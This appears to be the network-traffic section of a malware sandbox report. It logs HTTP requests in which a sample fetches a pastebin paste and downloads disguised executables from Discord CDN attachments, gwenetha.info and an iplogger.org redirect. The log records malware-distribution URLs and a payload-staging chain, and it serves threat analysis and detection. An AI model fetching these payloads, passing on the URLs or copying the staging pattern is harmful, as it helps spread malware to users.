Network Analysis

GET /raw/gCyjHCCH HTTP/1.1 Host: pastebin.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 02:08:04 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=dce7ec76d3b598cd3281aa2592cfbf2741617761284; expires=Fri, 07-May-21 02:08:04 GMT; path=/; domain=.pastebin.com; HttpOnly; SameSite=Lax; Secure x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 537 cf-request-id: 094baf4b440000a225de0f2000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 63bfb4bed947a225-ICN

GET /attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 02:08:10 GMT Content-Type: application/x-msdos-program Content-Length: 505856 Connection: keep-alive Set-Cookie: __cfduid=d60d88c443fe6936f245cbae09885ce0e1617761290; expires=Fri, 07-May-21 02:08:10 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfb4e25881350d-ICN Accept-Ranges: bytes Age: 616299 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe ETag: "28345a7bb63babaf99e760965ce493b7" Expires: Thu, 07 Apr 2022 02:08:10 GMT Last-Modified: Tue, 30 Mar 2021 19:35:01 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094baf61730000350df5280000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1617132901889175 x-goog-hash: crc32c=Ws/4nQ== x-goog-hash: md5=KDRae7Y7q6+Z52CWXOSTtw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 505856 X-GUploader-UploadID: ABg5-UznZNO55X93AubXlWYP0c5SyYOTRHkzDJhcIzrcH58RoyWaPDs0j0jqBmhsS-QvB5VHDoqPplp1xtV5hwkr0kW8h3tVvw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=Lj9jaZG41o0C%2FwkJyhswBETvFzBPhJO8kndk%2FzKP7rwC%2Frv1hJS88W%2F%2Bkx62pg4IuYvgCVE%2FuvSq2DqR8otNYbwCzTGXECnxPKvMv%2BwUooR8xvI%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826855866228670474/7525b875715555.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 02:08:11 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=dc10fcca0190c92a2ec2679afd426ecec1617761291; expires=Fri, 07-May-21 02:08:11 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfb4e5489712ca-ICN Age: 187 Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 02:05:04 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094baf6351000012ca25048000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-Uybcer8SF7f1nM0t9LrwdkrWk1uRqjOMNfVRvYhF2c4GVuhh3RlCUd2y6kXckODDYQsDQJSqKBjOgaFsMn9KoRTReW6tw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=mh1jdb%2Bl2G3l0Dwk15NUOqFWMI%2BoE%2FZUPC3hR0%2FB9p94mtyXgPvR6%2BbqYEb1zFj9CBz7JOTdPxCUUCcFO0vEe2R92n9D39D5yuTaIPxjKBAVjMw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /setup-KGQJ-1.exe HTTP/1.1 Host: gwenetha.info Connection: Keep-Alive

HTTP/1.1 404 Not Found Date: Wed, 07 Apr 2021 02:08:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 19 Connection: keep-alive Set-Cookie: __cfduid=d282085eb23758eac9020835f293bd9271617761291; expires=Fri, 07-May-21 02:08:11 GMT; path=/; domain=.gwenetha.info; HttpOnly; SameSite=Lax X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC cf-request-id: 094baf63b3000042f4f8935000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=U2qK9Uiv7dpJl4oc6gLQj2orUD3firl8cQEpNSa1VA3L4ua9V7cNR4rh47BG88JEA0Ca0qEM5hybJXfdGCRJDOmpzRG0znl2eFsQnFfF"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63bfb4e5ea2542f4-LAX alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /2LehR6.exe HTTP/1.1 Host: iplogger.org Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 07 Apr 2021 02:08:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=s98717imuitl38n1tn1ojbdun6; path=/; HttpOnly Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=261286894; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://cdn.discordapp.com/attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

GET /attachments/826198252025675816/826538114838298715/install_setupVPSfree.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 02:08:22 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d3f401fb25b8c8108bc0d2f79b83576151617761302; expires=Fri, 07-May-21 02:08:22 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfb529c85e350d-ICN Age: 198 Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 02:05:04 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094baf8e1a0000350df5373000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UyBF-uqvEEvcCnjWl5y1Ruo69GRKKeJbKu87dhMtk0GZrqPGUB_5pwZEsVdUrNxCEvfFGp0qXYmHKLktiFoVyxOF2Mbkg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=GIgx7W2EZvaCvV8Dlsh1bOdQmhhqkps3WsUNJywIUR1gYmNTCb5zlbiX86wQYMsqjVQo3nQysmA9xxIwcid5ly29rkXyUevN48ScxX88cmT3XUU%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826469949593485312/file.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 02:08:22 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d3f401fb25b8c8108bc0d2f79b83576151617761302; expires=Fri, 07-May-21 02:08:22 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfb52a191f350d-ICN Age: 171 Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 02:05:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094baf8e510000350d00bc4000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-Ux7MoZvQ44gWXu0JQJDpJv1-ptGUGwpXQxjP4BwBn_ibD1ssuqSptiWjGhq36fX6mgMz6uKoyilU23aLg3bUWdPsXH2SQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=9xeFk%2Bep%2BwEm%2B4kjzTlfW0CPzU4jG1U8t8oVOH0lD89Lb6I%2BWctctBNlRBdcTVtGtZWmIMza%2BzlEvWZeeNEY8%2BitLmOHb0nyG6jkIAOPFZzspHE%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 02:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d7dac021d5b5dec44e60290ad660425221617761302; expires=Fri, 07-May-21 02:08:22 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094baf8f3600003532c8859000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=o96SeFv1s3jfMgWv3BoFp6I7dETbfq%2FyvHeqKv%2BxSDizPXmkagwaiDorxiOIbrclym2Rl7oTQ8PE2zF4W55W2JiIJUKyoKNzTf4Ud5wlCwIioKI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63bfb52b8a233532-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 02:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d7dac021d5b5dec44e60290ad660425221617761302; expires=Fri, 07-May-21 02:08:22 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094baf8fc700003532c886b000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=nKGMm91BjokLbluhfQa1iKnim%2BEM4KaDFlPE5AUkSnWx3VV7Lsg2A2EWXEhQ9IqU60MfABehnRTSANMwyQs%2FoWrJmEKGkjBxm0n0afjWbxGpxHA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63bfb52c6cb03532-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826469949593485312/file.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 02:08:26 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=df964ed85664c99c53135f94c4140114f1617761306; expires=Fri, 07-May-21 02:08:26 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfb5459a64e9d8-ICN Age: 175 Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 02:05:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094baf9f810000e9d8f71cc000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-Ux7MoZvQ44gWXu0JQJDpJv1-ptGUGwpXQxjP4BwBn_ibD1ssuqSptiWjGhq36fX6mgMz6uKoyilU23aLg3bUWdPsXH2SQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=aMuTkKDcy4HHlsI97ElweF%2BqPa2sCONbwEjxKTiFYMQDPD%2FCTBeUwMIA9AbuODp8TNsBoWg9KZFrmybdyofAiCWN%2BXq9iQEHur3iI6znIiIJCxo%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare